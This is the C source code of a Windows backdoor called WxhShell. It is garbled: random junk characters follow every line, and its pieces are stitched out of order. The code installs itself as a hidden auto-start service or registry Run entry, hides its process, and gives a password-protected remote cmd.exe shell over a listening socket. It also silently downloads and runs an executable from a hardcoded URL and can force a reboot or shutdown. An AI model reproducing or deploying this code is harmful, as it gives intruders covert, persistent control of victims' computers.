    if(Boot(SHUTDOWN)) ) ~ l\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KK@ &q  
    else { ,h3269$J  
    closesocket(wsh); FgXu1-  
    ExitThread(0); _cW_u?0X:  
    } _{N0OX  
    break; NYWG#4D  
    } 99\{!W  
  // 获取shell j9{O0[v  
  case 's': { 6Hc H'nmeN  
    CmdShell(wsh); *jYHd#UZx4  
    closesocket(wsh); szf"|k!  
    ExitThread(0); pWWL{@J  
    break; CnxK+1n l  
  } m-:8jA?  
  // 退出 aO~s i=  
  case 'x': {  f$:7A0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \4[c}l  
    CloseIt(wsh); ap Fs UsE  
    break; X=rc3~}f  
    } cp E25  
  // 离开 Q%M'[L?[  
  case 'q': { 9oZ } h&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b:N^Fe  
    closesocket(wsh); <'PR;g^#  
    WSACleanup(); u Y?/B~  
    exit(1); (|yRo  
    break; jF%)Bhn(  
        } W?*Xy6",JF  
  } \_m\U.*  
  } hQgk.$g  
FRl3\ZDqrb  
  // 提示信息 'hwV   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U%mkhWn  
} [}W^4,  
  } ?noETHz)  
/'8*aUa  
  return; Sqp;/&Ji  
} Q3<bC6$r  
,!o\),N  
// shell模块句柄 XM$5S+e  
int CmdShell(SOCKET sock) k| _$R?  
{ '1>g=Ic0  
STARTUPINFO si; =oL8d 6nI  
ZeroMemory(&si,sizeof(si)); YtwmlIar`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Dvl%:8   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /0 B07B  
PROCESS_INFORMATION ProcessInfo; no~OR Q  
char cmdline[]="cmd"; `^ieT#(O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e67c:Z  
  return 0; AijPN  
} "E@NZ*"u  
&&(4n?   
// 自身启动模式 9%p7B~}E  
int StartFromService(void) M iP[UCh  
{ u+2 xrzf  
typedef struct 9TYw@o5V  
{ s)=!2AY  
  DWORD ExitStatus; B)j`}7O 06  
  DWORD PebBaseAddress; aJuj7y-  
  DWORD AffinityMask; ,XWay%8{E  
  DWORD BasePriority; w>NZRP_3  
  ULONG UniqueProcessId; hYP6z^  
  ULONG InheritedFromUniqueProcessId; w%i+>\tO  
}   PROCESS_BASIC_INFORMATION; I2t-D1X  
EuKrYY]g  
PROCNTQSIP NtQueryInformationProcess; &.cGj @1!J  
;ZxK3/(7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F"B<R~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }$&T O$LX  
K^z5x#Yj  
  HANDLE             hProcess; .XV]<)<K$  
  PROCESS_BASIC_INFORMATION pbi; n&2=6$*,k  
C|.$L<`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -)y> c  
  if(NULL == hInst ) return 0; %KabyvOl)  
g[=\KrTSg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .-C+0L1j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E>l#0Zw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z) ]BV=  
|!4B Wt  
  if (!NtQueryInformationProcess) return 0; s]nGpA[!  
C;58z 5*,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YO.`l~ v  
  if(!hProcess) return 0; K%[}[.cW  
1}n)J6m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ??$i*  
BRo R"#'  
  CloseHandle(hProcess); eLDL  "L  
a>)_ `m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #GDh/t2@  
if(hProcess==NULL) return 0; V:,3OLL*  
.  T6_N  
HMODULE hMod; C)&gL=O*$  
char procName[255]; _-|yCo  
unsigned long cbNeeded; tKs4}vW  
;9!yh\\   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |h^G$guw  
vjs|!O=oH  
  CloseHandle(hProcess); Pq{YZMr  
26('V `N  
if(strstr(procName,"services")) return 1; // 以服务启动 ,{`o/F/  
0btmao-  
  return 0; // 注册表启动 oSu|Yn  
} $ sA~p_]  
5fvUv"m  
// 主模块 C$2o o@  
int StartWxhshell(LPSTR lpCmdLine) }OX>(  
{ z/P^-N>  
  SOCKET wsl; A_6/umF[ZA  
BOOL val=TRUE; >"sKfiM)b  
  int port=0; Tg <>B  
  struct sockaddr_in door; >PTu*6Z  
 eo<~1w  
  if(wscfg.ws_autoins) Install(); WoClTb>F  
-Iruua7b  
port=atoi(lpCmdLine); D:6x*+jah)  
r0Y?X\l*  
if(port<=0) port=wscfg.ws_port; {R1Cxt}  
U47k5s(J  
  WSADATA data; %T,\xZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %`s9yRk9>E  
35@Ibe~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e%@[d<Ta\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  4s1kZ`e  
  door.sin_family = AF_INET; P5 <85t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fdCxMKlu;  
  door.sin_port = htons(port); <Hr@~<@~  
3*2&Fw!B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L3G)?rPFC#  
closesocket(wsl); ( 7Ca\H3$  
return 1; /k3n{ ?$/  
} )qe$rD;N  
G5XnGl }Q  
  if(listen(wsl,2) == INVALID_SOCKET) { AP?{N:+  
closesocket(wsl); F"@'(b  
return 1; 3$kv%uf{  
} x9&tlKKxf  
  Wxhshell(wsl); JI[rIL \Ey  
  WSACleanup(); N?U&(@p  
`M pC<sit  
return 0; PE;0 jgsiI  
qI V`zZc  
} 2)I'5 ?I  
G.q^Zd#.T  
// 以NT服务方式启动 v;F+fOo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,rl <ye*&  
{ RfKxwo|M<  
DWORD   status = 0; Bu >yRL=*  
  DWORD   specificError = 0xfffffff; 'bY|$\I  
;ijfI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~RR_[t2Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EH!EyNNb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; = VX<eV  
  serviceStatus.dwWin32ExitCode     = 0; cnUU1Uz>  
  serviceStatus.dwServiceSpecificExitCode = 0; Nh7!Ah  
  serviceStatus.dwCheckPoint       = 0; -) v p&-  
  serviceStatus.dwWaitHint       = 0; |z<wPJ,;2  
]BS{,sI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); We+FP9d%  
  if (hServiceStatusHandle==0) return; ;u-< {2P  
6'sFmC  
status = GetLastError(); x_H7=\pX]  
  if (status!=NO_ERROR) PEQvEruZ}  
{ rbJ)RN^.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5@&i:vs5y  
    serviceStatus.dwCheckPoint       = 0; ygy#^  
    serviceStatus.dwWaitHint       = 0; 3xCA\*  
    serviceStatus.dwWin32ExitCode     = status; C;:1CK  
    serviceStatus.dwServiceSpecificExitCode = specificError; %ucmJ-< y#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ##+ 8GLQM  
    return; }yC,uEV  
  } ,w58n%)H  
kV(DnZ#jq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I#6' NZ  
  serviceStatus.dwCheckPoint       = 0; oWaIjU0  
  serviceStatus.dwWaitHint       = 0; XY t8vJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HI?~t| [y  
} X)R] a]1A  
5tCq}]q#P  
// 处理NT服务事件,比如:启动、停止 m{yNnJ3O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "y ,(9_#  
{ Nxs%~ wZ   
switch(fdwControl) ThQEQ6y  
{ Ynh4oWUp  
case SERVICE_CONTROL_STOP: {^19.F  
  serviceStatus.dwWin32ExitCode = 0; kA :;c}p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L!8?2 \5  
  serviceStatus.dwCheckPoint   = 0; W2.1xNWO  
  serviceStatus.dwWaitHint     = 0; \g[f4xAV  
  { A[,"jh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZT-45_  
  } VflPNzixb!  
  return; b+j_EA_b  
case SERVICE_CONTROL_PAUSE: i$ZpoM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [t=+$pf(-  
  break; jvKaxB;e  
case SERVICE_CONTROL_CONTINUE: .j<B5/+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hr,lA(  
  break; ZxeE6&#M^w  
case SERVICE_CONTROL_INTERROGATE: y2% ^teX k  
  break;  F-\8f(\  
}; tlxjs]{0E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68br  
} {|wTZ  
,'{B+CHoS  
// 标准应用程序主函数 te4"+[ $|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x 3co?  
{ _nFvM'`<  
J1ro\"  
// 获取操作系统版本 vc1GmB  
OsIsNt=GetOsVer(); ~4X!8b_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Mw7UU1 ei  
Q+js2?7^  
  // 从命令行安装 cZ2, u,4  
  if(strpbrk(lpCmdLine,"iI")) Install(); iwTBE]J  
BL^Hj  
  // 下载执行文件 PaI63 !  
if(wscfg.ws_downexe) { aTL7"Myp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5Fm? ,^  
  WinExec(wscfg.ws_filenam,SW_HIDE); <?@46d?C  
} Uo)<_nG  
(>lqp%G~  
if(!OsIsNt) { ej53O/hP  
// 如果时win9x,隐藏进程并且设置为注册表启动 .0;k|&eBD  
HideProc(); 0YRYCO$  
StartWxhshell(lpCmdLine); _q4dgi z  
} CbaAnm1  
else gY^TBR0?m  
  if(StartFromService()) (S 3kP5:F  
  // 以服务方式启动 \yizIo.Y`  
  StartServiceCtrlDispatcher(DispatchTable); ?-v?SN#  
else I:)#U[tn0  
  // 普通方式启动  1`JN  
  StartWxhshell(lpCmdLine); soK_l|z:J  
\D k^\-  
return 0; =y/ Lbe}:  
} hpe s  
t4W0~7   
2Sd6b 2-  
&`y_R'  
=========================================== {YLJKu!M  
 p.Yg-CA  
_BaS\U%1(  
n/Z =q?_  
`X03Q[:q"[  
uXa}<=O  
" R,Uy3N  
@!HMd{r  
#include <stdio.h> .ihn@eg  
#include <string.h> I,Y^_(JW  
#include <windows.h> 4tu>~ vOE  
#include <winsock2.h> fBh|:2u  
#include <winsvc.h> FOyfk$  
#include <urlmon.h> BrmFwXLP"  
 xyCcd=  
#pragma comment (lib, "Ws2_32.lib") l zkn B  
#pragma comment (lib, "urlmon.lib") T1 .@Tbbt  
K4L#%KUPW  
#define MAX_USER   100 // 最大客户端连接数 rxA)&  
#define BUF_SOCK   200 // sock buffer NGGd6V%'-  
#define KEY_BUFF   255 // 输入 buffer >(J!8*7  
WoR**J?}w  
#define REBOOT     0   // 重启 5 : >  
#define SHUTDOWN   1   // 关机 v333z<<S  
:#KURYO<  
#define DEF_PORT   5000 // 监听端口 } +Z;zm@/6  
KAEpFobYo  
#define REG_LEN     16   // 注册表键长度 {]N?DmF  
#define SVC_LEN     80   // NT服务名长度 UZ0O j5B.  
K`2DhJC  
// 从dll定义API Z4sjH1W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \zDV|n~{w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZI]K+jza  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pMrf i}esx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~u1J R`y  
$\H46Ji  
// wxhshell配置信息 hzVO.Q*  
struct WSCFG { } /FM#Xh  
  int ws_port;         // 监听端口 r{;4(3E2  
  char ws_passstr[REG_LEN]; // 口令 1#RA+d(  
  int ws_autoins;       // 安装标记, 1=yes 0=no +6E<+-N  
  char ws_regname[REG_LEN]; // 注册表键名 o?8j *]  
  char ws_svcname[REG_LEN]; // 服务名 .v8=zi:7Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N=x,96CF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N/.9Aj/h~&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lK@r?w|<M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '*.};t~;"d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" : P2;9+v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~qxc!k!w4  
2M`Ni&v  
}; ^ZBkt7  
Stx-(Kfn4  
// default Wxhshell configuration .6(i5K  
struct WSCFG wscfg={DEF_PORT, Onyq'  
    "xuhuanlingzhe",  .l'QCW9  
    1, qA[}\8}h  
    "Wxhshell", `buTP?]4.  
    "Wxhshell", [a6lE"yr  
            "WxhShell Service", G _o4A:2  
    "Wrsky Windows CmdShell Service", C*<LVW{P  
    "Please Input Your Password: ", pYQs|5d  
  1, rbWFq|(_  
  "http://www.wrsky.com/wxhshell.exe", HX[#tT|m~  
  "Wxhshell.exe" t?Znil|o  
    }; fTcRqov  
#SOe &W5  
// 消息定义模块 \NRRN eu|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8i"fhN3?Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A O]e^Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N~YeAe~+  
char *msg_ws_ext="\n\rExit."; -z94>}Z=  
char *msg_ws_end="\n\rQuit."; RUO6Co-  
char *msg_ws_boot="\n\rReboot..."; ^a r9$$~/!  
char *msg_ws_poff="\n\rShutdown..."; ]5CFL$_Q{  
char *msg_ws_down="\n\rSave to "; d{jl&:  
wVB8PO8  
char *msg_ws_err="\n\rErr!"; =n&83MYX  
char *msg_ws_ok="\n\rOK!"; co|0s+%PBq  
%0'f`P6  
char ExeFile[MAX_PATH]; 48VsHqG  
int nUser = 0; C2T,1=  
HANDLE handles[MAX_USER]; R7>@-EG  
int OsIsNt; !LA#c'  
~Fh(4'  
SERVICE_STATUS       serviceStatus; rL/+`H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P7!Sc  
$6[]c)(  
// 函数声明 _4w%U[GT,  
int Install(void); NgQl;$  
int Uninstall(void); LGkKR{ep(  
int DownloadFile(char *sURL, SOCKET wsh); Bf.RYLsh6  
int Boot(int flag); s Y,3  
void HideProc(void); sQ$FtKm6  
int GetOsVer(void); 4+0Zj+ q";  
int Wxhshell(SOCKET wsl); -=Hr|AhE  
void TalkWithClient(void *cs); ,b8AB_yw  
int CmdShell(SOCKET sock); g o@}r<B$  
int StartFromService(void); t+VPX2  
int StartWxhshell(LPSTR lpCmdLine); hV%l}6yS&  
cW2:D$Pe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3ml|`S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f$/D?q3N  
@QEV l  
// 数据结构和表定义 -MZ Eli g  
SERVICE_TABLE_ENTRY DispatchTable[] = ~Hq 2'  
{ Jq->DzSmj/  
{wscfg.ws_svcname, NTServiceMain}, !}%giF$-  
{NULL, NULL} (.cT<(TB  
}; T &1sfS,  
?{n#j,v!  
// 自我安装 h(fh |R<  
int Install(void) LLMkv!%D  
{ lZ|Ao0(  
  char svExeFile[MAX_PATH]; 5"sF#Y&  
  HKEY key; ifkA3]  
  strcpy(svExeFile,ExeFile); 0-FbV,:;  
+RM3EvglDQ  
// 如果是win9x系统,修改注册表设为自启动 cGD A0#r  
if(!OsIsNt) { (8{Z@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (]JJ?aAF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %+.]>''a  
  RegCloseKey(key); OCd[P1Y]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SaNx;xgi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $]vR,E  
  RegCloseKey(key); {>:2Ff]O:  
  return 0; cIX59y#7  
    } :p{iBDA  
  } 3ySnAAG  
} 3+Q6<MS q  
else { IRQ(/:]  
X!@Gv:TD  
// 如果是NT以上系统,安装为系统服务 gyPF!"!5dq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h ( Z7a%_  
if (schSCManager!=0) O;XF'r_  
{ P _ SJK  
  SC_HANDLE schService = CreateService myYe~f4=HQ  
  ( 9'tM65K  
  schSCManager, 1 >Op)T>{c  
  wscfg.ws_svcname, =\3*;59\  
  wscfg.ws_svcdisp, (z[cf|he  
  SERVICE_ALL_ACCESS, 4bO7rhve  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?;$g,2n  
  SERVICE_AUTO_START, DN!EsQ6  
  SERVICE_ERROR_NORMAL, T]:5y_4?[  
  svExeFile, `s+qz  
  NULL, k";;Snk  
  NULL, dO=<3W  
  NULL, S SzOz-&GA  
  NULL, 6 @d( <Z  
  NULL 9SrV,~zD  
  ); TiOvrp7B  
  if (schService!=0) /f#sg7)  
  { T57S!CJ^$5  
  CloseServiceHandle(schService); 6V8"[0U  
  CloseServiceHandle(schSCManager); P -Pt{:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3 3V/<v  
  strcat(svExeFile,wscfg.ws_svcname); XdB8Oj~~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d#(xP2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z/0M9 Q%  
  RegCloseKey(key); >Nov9<p  
  return 0; R(:q^?  
    } )a.U|[:y[+  
  } `a J[ !O  
  CloseServiceHandle(schSCManager); 2@ad! h  
} -Oo$\=d  
} 5%Q!R%  
A}%sF MA  
return 1; 8mV35A7l  
} /q>"">  
@M(vaJB8u  
// 自我卸载 , w_Ew  
int Uninstall(void) shi#K<gVC  
{ ?e BN_a,r6  
  HKEY key; 55#H A?cR  
ut o4bs:  
if(!OsIsNt) { Kp"o0fh<9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Wo,^qR  
  RegDeleteValue(key,wscfg.ws_regname); hWUZn``U$|  
  RegCloseKey(key); #bGt%*Re p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $GcVC (]  
  RegDeleteValue(key,wscfg.ws_regname); lAoH@+dyA+  
  RegCloseKey(key); DukCXyB*l  
  return 0; ?(mlt"tPk  
  } -O ej6sILO  
} ?&Lb6(}e  
} /JvNJ f  
else { )37|rB E  
C9~CP8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LTi0,03l<  
if (schSCManager!=0) GI/g@RV  
{ ~O<Bs{8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /{Nx%PqL  
  if (schService!=0) _xbVAI4  
  { 3 D\I#g  
  if(DeleteService(schService)!=0) { lc*<UZR  
  CloseServiceHandle(schService); aK,G6y  
  CloseServiceHandle(schSCManager); P2lj#aQLS  
  return 0; :imp~~L;  
  } 2r1., 1  
  CloseServiceHandle(schService); s:Memvf  
  } zX)uC<  
  CloseServiceHandle(schSCManager); L"AZ,|wIk  
} &'R\yX<J)  
} b,I$.&BD  
Yw./V0Z{@  
return 1; '(ql7  
} q),yY]5  
JD,/oL.KA  
// 从指定url下载文件 A9[l5E  
int DownloadFile(char *sURL, SOCKET wsh) 32dR`qb  
{ 3]V" 9+  
  HRESULT hr; Uc6P@O*,  
char seps[]= "/"; 5*~G7/hT  
char *token; ,%Dn}mWu  
char *file; +Ge-!&.;A  
char myURL[MAX_PATH]; )y._]is)b  
char myFILE[MAX_PATH]; x%0Q W  
40mgB4I  
strcpy(myURL,sURL); zU]95I  
  token=strtok(myURL,seps); $+-2/=>Xk  
  while(token!=NULL) ,zO!`|I  
  { 0*x  
    file=token; 3PPN_Z  
  token=strtok(NULL,seps); g&&5F>mF  
  } {8'I+-  
iFpJ /L  
GetCurrentDirectory(MAX_PATH,myFILE); .]P@{T||Y  
strcat(myFILE, "\\"); }ufH![|[r  
strcat(myFILE, file); .%.J Q  
  send(wsh,myFILE,strlen(myFILE),0); >/GVlXA'  
send(wsh,"...",3,0); { "=d7i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wU+-;C5e  
  if(hr==S_OK) -FdhV%5]  
return 0; Eqnc("m)  
else RP!X 5  
return 1; %i$]S`A}  
'f]\@&Np  
} :Fu.S1j$  
~:v" TuuK  
// 系统电源模块 n YWS'i@  
int Boot(int flag) ]|'Mf;  
{ r+ k5Bk'  
  HANDLE hToken; oF8#gn_  
  TOKEN_PRIVILEGES tkp; (@[c;+x  
SBZqO'}7  
  if(OsIsNt) { LL4yafh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~}PB&`%7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L^!E4[ ^4  
    tkp.PrivilegeCount = 1; a}EO7tcg,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1UT&kD!si  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z q _*)V  
if(flag==REBOOT) { iW9G0Ay  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C/U^8,6\n  
  return 0; 0"3l2Eo  
} dJ#mk5= "  
else { ^1nQDd*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F=bX\T7  
  return 0; |Q[[WHqj2f  
} t&*X~(Yb!  
  } -YPUrU[)  
  else { +a0q?$\  
if(flag==REBOOT) { 7&-B6Y4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G&y< lh  
  return 0; ;%{REa  
} PS7ta?V QC  
else { XmJu{RbS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <xv@us7  
  return 0; Y|stxeOC  
} H$^IT#  
} -T$%MX  
Q+YYj  
return 1; dn!#c=  
} nJC/yS |  
jbZ%Y0km%  
// win9x进程隐藏模块 xy;u"JY*  
void HideProc(void) 'So,*>]63  
{ mO=bq4!  
.W>LEz'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \W:~;GMeD  
  if ( hKernel != NULL ) LpN_s#  
  { =n7QLQU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :|%k*z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EVYICR5g  
    FreeLibrary(hKernel); ,}?x!3  
  } c%tb6@C  
% s&l^&ux  
return; N/CL?Z>c  
} h0ml#A`h  
U|yXJ.Z3  
// 获取操作系统版本 vM5yiHI(jb  
int GetOsVer(void) KFZ2%:6>  
{ QmxI ;l  
  OSVERSIONINFO winfo; ->_rSjnM{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /zV&ebN]  
  GetVersionEx(&winfo); ;=r_R!d@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {^(h*zxn  
  return 1; t`%Xxxu  
  else 3}hJ`xQ  
  return 0; Fp=O:]  
} !79eF)  
-9)H [}.  
// 客户端句柄模块 ; D'6sd"  
int Wxhshell(SOCKET wsl) >x'R7z23  
{ l|{q8i#4V  
  SOCKET wsh; X3mHg5zt  
  struct sockaddr_in client; csK;GSp}  
  DWORD myID; ,y5,+:Y ~  
P-]u&m/6  
  while(nUser<MAX_USER) :yFUlO:  
{ -?%81 z.Qq  
  int nSize=sizeof(client); d0U-:S-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !DU4iq_.  
  if(wsh==INVALID_SOCKET) return 1; r8%"#<]/  
WtS5i7:<Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;8Qx~:c  
if(handles[nUser]==0) |[./jg"  
  closesocket(wsh); ; ,9:1.L  
else XSOSy2:  
  nUser++; \k 9EimT}  
  } +V Oczl=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v0q(k;Ya  
6~b)Hc/  
  return 0; ^GL>xlZ(  
} j;TXZ`|(  
4 x|yzUx  
// 关闭 socket 1RHFWK5Si  
void CloseIt(SOCKET wsh)  :d) y  
{ FHOF 6}if  
closesocket(wsh); X iW~? *Z  
nUser--; X\Gbs=sf6  
ExitThread(0); -}x( MZ  
} GUDz>(  
! mb<z^>5  
// 客户端请求句柄 ^ jYE4gHM  
void TalkWithClient(void *cs) Q  h~  
{ K&'Vd@  
, ;$SRQ.  
  SOCKET wsh=(SOCKET)cs; y <] x  
  char pwd[SVC_LEN]; +Hd'*'c  
  char cmd[KEY_BUFF]; ?Z(xu~^/  
char chr[1]; fug F k  
int i,j; Gg TrIF  
7ILb&JQ!%{  
  while (nUser < MAX_USER) { [Fk|%;B/~  
2]:Z7Ji  
if(wscfg.ws_passstr) { eHE?#r16Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IoKN.#;^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _jWGwO  
  //ZeroMemory(pwd,KEY_BUFF); taBCE?{  
      i=0; ihp>cl?  
  while(i<SVC_LEN) { /< -+*79G  
M!4}B  
  // 设置超时 .o(S60iH!(  
  fd_set FdRead; vw2yOL RX  
  struct timeval TimeOut; Q@(tyW+8U@  
  FD_ZERO(&FdRead); Q ym=L(X  
  FD_SET(wsh,&FdRead);  $*$X5  
  TimeOut.tv_sec=8; Eg+ z(m$M  
  TimeOut.tv_usec=0; sI<PYi={-6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8[rZRc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RLNto5?  
Vw";< <0HZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mwtd<7<!A  
  pwd=chr[0]; Jp 7m$D%  
  if(chr[0]==0xd || chr[0]==0xa) { i87+9X  
  pwd=0; W&=F<n`  
  break; ab8F\%y-8  
  } ;d<RP VE:  
  i++; sjj,q?  
    } d$5\{YLy  
jI!WE$dt  
  // 如果是非法用户,关闭 socket GUcGu5tw:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q@ghQGn#  
} -izZ D  
VMl)_M:'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 ~+/cY-V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mO^ )k  
I><sK-3  
while(1) { IA~wmOF  
\1nj=ca?  
  ZeroMemory(cmd,KEY_BUFF); d)1Pl3+  
jrN"en  
      // 自动支持客户端 telnet标准   B&Iy_;  
  j=0; k)TNmpL%"  
  while(j<KEY_BUFF) { =z4kK_?F,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9{&oVt~Y$  
  cmd[j]=chr[0]; `nv82v  
  if(chr[0]==0xa || chr[0]==0xd) { w$$vR   
  cmd[j]=0; PzH#tG&.j  
  break; mvXIh";  
  } 'Ivr =-  
  j++; Yq0jw&v  
    } Evt&N)l!^  
4fL/,j/^  
  // 下载文件 `VXC*A   
  if(strstr(cmd,"http://")) { r0:I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u(C?\HaH  
  if(DownloadFile(cmd,wsh)) u&Cu"-%=M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L4!T  
  else \QP1jB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /2Qgg`^)  
  } xC YL3hl  
  else { |#J!oBS!  
o l8|  
    switch(cmd[0]) { Rdl^-\BV  
  rssn'h  
